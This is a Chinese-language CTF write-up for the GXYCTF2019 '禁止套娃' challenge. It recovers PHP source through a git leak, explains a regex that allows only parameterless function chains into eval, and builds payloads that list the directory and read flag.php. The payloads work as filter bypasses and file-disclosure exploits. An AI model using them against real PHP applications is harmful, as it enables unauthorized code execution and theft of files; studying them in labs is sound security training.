buuctf-[GXYCTF2019]禁止套娃(小宇特详解)
这里先看题
这里没有找到什么有用的信息,先使用dirsearch来爆破但是没有找到有用的,这时我就怀疑是有git泄露了这里使用githack探测发现了index.php
这里直接看源码吧
<?php
2 include "flag.php";
3 echo "flag在哪里呢?<br>";
4 if(isset($_GET['exp'])){//需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//过滤了常用的几个伪协议,不能以伪协议读取文件。
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {//正则匹配掉了et/na/info等关键字,很多函数都用不了。
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die("还差一点哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("还想读flag,臭弟弟!");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
关键点在
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这里的?R的意思就是
引用当前表达式,后面再加?是递归调用
所以exp必须是a(b());这种类型才行
我们通过源码了解到了flag在flag.php里
只要想办法读取就可以
scandir()函数可以扫描当前目录下的文件
<?php
print_r(scandir('.'));
?>
构造scandir(’.’)就可以
这里使用了2个函数
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
这里注意
current(localeconv())永远都是个点
第一步
?exp=print_r(scandir(current(localeconv())));
这里需要读到倒数第二个数组
这里也是用到了两个函数
next():函数将内部指针指向数组中的下一个元素,并输出
array_reverse():数组以相反的元素顺序返回数组
最后的payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));